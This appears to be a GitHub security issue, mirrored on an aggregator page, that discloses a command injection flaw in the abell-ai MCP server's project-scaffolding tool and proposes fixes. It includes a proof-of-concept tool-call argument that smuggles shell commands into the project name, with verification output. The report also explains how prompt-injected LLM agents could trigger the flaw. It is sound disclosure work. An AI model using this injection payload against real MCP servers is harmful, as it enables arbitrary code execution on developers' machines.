abelljs / abelljs/abell

Security: scaffold_new_abell_app projectName shell injection in MCP server (Critical RCE)

未关闭
#191 0 条评论 0 个 reaction 已指派 0 人 在 GitHub 查看
主要语言
TypeScript
星标
443
派生
36
PR 合并指标
30 天内没有已合并 PR

描述

## VULNERABILITY

The MCP tool `scaffold_new_abell_app` interpolates the caller-supplied `projectName` parameter directly into a Node.js `execSync` template literal that runs via `/bin/sh -c`. The handler creates a `projectSlugName` variable to sanitize the project name at line 67 but the raw `projectName` is what gets used in the shell command at lines 85–88. The slug variable exists as evidence of intent-to-sanitize but is never substituted in. Any MCP client — or an LLM agent with access to the tool — can supply a crafted project name to execute arbitrary OS commands on the host running the MCP server.

### Vulnerable Code

```typescript
// Line 67 — sanitized variable created but never used in command
const projectSlugName = projectName.toLowerCase().replace(/ |_/g, '-');

// Lines 85-88 — raw projectName interpolated into shell string
execSync(
`npx -y create-abell@latest ${projectName} --installer ${installer} --template default`,
{ stdio: 'inherit', cwd }
);
```

`execSync(string)` in Node.js passes the string to `/bin/sh -c`, so shell metacharacters in `projectName` are interpreted by the shell. The `z.string()` schema constraint provides no sanitization.

---

## PROOF OF CONCEPT

Attacker-supplied tool call (any MCP client or LLM session with the tool in context):

```json
{
"tool": "scaffold_new_abell_app",
"arguments": {
"projectName": ". && id && touch /tmp/PWNED_ABELL #",
"cwd": "/tmp",
"installer": "skip"
}
}
```

This interpolates to:

```sh
/bin/sh -c "npx -y create-abell@latest . && id && touch /tmp/PWNED_ABELL # --installer skip --template default"
```

The `&&` causes `id` and `touch /tmp/PWNED_ABELL` to execute. The trailing `#` comments out the rest of the original command.

**Verification run (sandboxed, no network):**

```
uid=1000(yin) gid=1000(yin) groups=1000(yin),4(adm),24(cdrom),27(sudo)...
/tmp/PWNED_ABELL: exists = true
```

---

## IMPACT

Any user running `abell-ai` as an MCP server exposes their host to arbitrary OS command execution via the `scaffold_new_abell_app` tool. Since MCP tools are typically invoked by LLM agents, a prompt-injected payload in a project file or web content can trigger this without any direct user interaction. The shell inherits the MCP server process's credentials — typically the developer's own user account.

npm package `abell-ai@0.0.9` ships this as the published release. Anyone installing via `npx abell-ai` or adding it to their MCP config is immediately vulnerable.

---

## SUGGESTED FIX

**Option 1 (minimal — use the slug variable that was already created):**

```typescript
// Line 67 already creates projectSlugName — use it:
execSync(
`npx -y create-abell@latest ${projectSlugName} --installer ${installer} --template default`,
{ stdio: 'inherit', cwd }
);
```

**Option 2 (preferred — eliminate shell interpretation entirely):**

```typescript
import { execFile } from 'child_process';
import { promisify } from 'util';
const execFileAsync = promisify(execFile);

await execFileAsync('npx', [
'-y', 'create-abell@latest', projectSlugName,
'--installer', installer,
'--template', 'default'
], { cwd });
```

`execFile` (or `spawn` with `shell: false`) passes arguments as an array, bypassing the shell entirely — no interpolation, no injection surface.

**Option 3:** Add `z.string().regex(/^[a-z0-9][a-z0-9-]*$/).max(100)` schema validation on `projectName` AND switch to `execFile`.

---

## REFERENCES

- Vulnerable file: https://github.com/abelljs/abell/blob/e51235bfa0bc5ec74a5cea1e4c76986575bd47c9/packages/abell-ai/src/mcp.ts#L85-L88
- npm package: https://www.npmjs.com/package/abell-ai
- Node.js docs — `execSync` string-form vs `execFile`: https://nodejs.org/api/child_process.html#child_processexecfilefile-args-options-callback

贡献指南

打开贡献指南

评估

这个 Issue 还没有评估数据。

把新 issue 发到你的邮箱

精选适合新手参与的 GitHub issue 摘要。